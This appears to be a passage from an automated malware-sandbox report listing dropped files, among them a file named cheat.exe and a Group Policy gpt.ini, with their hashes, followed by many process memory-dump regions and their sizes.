                                                                                                                                                                                                                                                                                                                                                    cd5822bbf91e8f7f5ab2b471a4bf8b464bde95465e2fccc6a57e5a287ca55d5062bdd6d4b3cd76f8529ee7a9081b6a7aad7dc2a7581c344ce4fd2d3256bdf451

                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\GroupPolicy\gpt.ini

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    127B

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    ea3152149600326656e1f74ed207df9e

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    361f17db9603f8d05948d633fd79271e0d780017

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    f895f54a7397294132ebe13da0cf48f00028f5ccc81eac77eecafdec858e7816

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    5f79b3295a6a2c4b5c5720e26741ae5da2008165bcde01472e19362f7ffd4edabaea348bb99c2850871045cfb07fb0e51e6c3db7b2e278732a9f15f5b34f1a52

                                                                                                                                                                                                                                                                                                                                                  • C:\programdata\install\cheat.exe

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    4.5MB

                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                    c097289ee1c20ac1fbddb21378f70410

                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                    d16091bfb972d966130dc8d3a6c235f427410d7f

                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                    b80857cd30e6ec64e470480aae3c90f513115163c74bb584fa27adf434075ab2

                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                    46236dba79489272b6b7f9649fb8be5beb4a0b10776adf7b67ef3a9f969a977cde7a99b1b154b4b9142eb1bf72abcadbfd38abaef1eb88d7d03c646645517d0d

                                                                                                                                                                                                                                                                                                                                                  • memory/676-1393-0x0000000000400000-0x0000000000441000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    260KB

                                                                                                                                                                                                                                                                                                                                                  • memory/676-1287-0x0000000000400000-0x0000000000441000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    260KB

                                                                                                                                                                                                                                                                                                                                                  • memory/1264-1255-0x0000000000400000-0x0000000000419000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    100KB

                                                                                                                                                                                                                                                                                                                                                  • memory/1264-1283-0x0000000000400000-0x0000000000419000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    100KB

                                                                                                                                                                                                                                                                                                                                                  • memory/2436-1113-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2436-1106-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2436-1179-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2436-1222-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2436-1286-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2436-1110-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2436-1112-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2436-1507-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2436-1111-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2436-1107-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2436-1380-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2840-1150-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    128KB

                                                                                                                                                                                                                                                                                                                                                  • memory/2940-1136-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2940-1135-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2940-1391-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2940-1180-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2940-1223-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2940-1139-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2940-1138-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2940-1119-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2940-1288-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/2940-1137-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3004-1099-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3004-1103-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3004-1141-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3004-1098-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3004-1100-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3004-1102-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3004-1101-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3372-1094-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3372-1090-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3372-1093-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3372-1096-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3372-1091-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3372-1083-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3372-1092-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3396-1132-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3396-1129-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3396-1120-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3396-1289-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3396-1181-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3396-1134-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3396-1517-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3396-1133-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3396-1392-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3396-1224-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3396-1131-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/3476-1258-0x0000023EA1890000-0x0000023EA18B2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    136KB

                                                                                                                                                                                                                                                                                                                                                  • memory/4008-1077-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4008-1076-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4008-1078-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4008-1073-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4008-1075-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4008-1079-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4008-1081-0x0000000000400000-0x0000000000AB9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4356-1365-0x0000000000400000-0x000000000056F000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    1.4MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4564-999-0x0000000000AC0000-0x0000000000B12000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    328KB

                                                                                                                                                                                                                                                                                                                                                  • memory/4564-1004-0x00000000065D0000-0x00000000065D8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    32KB

                                                                                                                                                                                                                                                                                                                                                  • memory/4564-1005-0x0000000006870000-0x00000000068B4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    272KB

                                                                                                                                                                                                                                                                                                                                                  • memory/4564-1002-0x0000000005B70000-0x0000000005B78000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    32KB

                                                                                                                                                                                                                                                                                                                                                  • memory/4564-1001-0x0000000005B80000-0x0000000006124000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.6MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4564-1130-0x0000000006610000-0x0000000006632000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    136KB

                                                                                                                                                                                                                                                                                                                                                  • memory/4564-1000-0x0000000001530000-0x0000000001544000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    80KB

                                                                                                                                                                                                                                                                                                                                                  • memory/4564-1003-0x0000000006390000-0x0000000006422000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    584KB

                                                                                                                                                                                                                                                                                                                                                  • memory/4816-1219-0x0000000000400000-0x0000000000AD8000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    6.8MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4924-1216-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4924-1218-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4924-1213-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4924-1214-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4924-1215-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/4924-1212-0x0000000000400000-0x00000000009B6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    5.7MB

                                                                                                                                                                                                                                                                                                                                                  • memory/5508-1336-0x0000000000820000-0x000000000090C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    944KB

                                                                                                                                                                                                                                                                                                                                                  • memory/5508-1327-0x0000000000820000-0x000000000090C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    944KB

                                                                                                                                                                                                                                                                                                                                                  • memory/6004-1373-0x0000000000400000-0x000000000056F000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                    1.4MB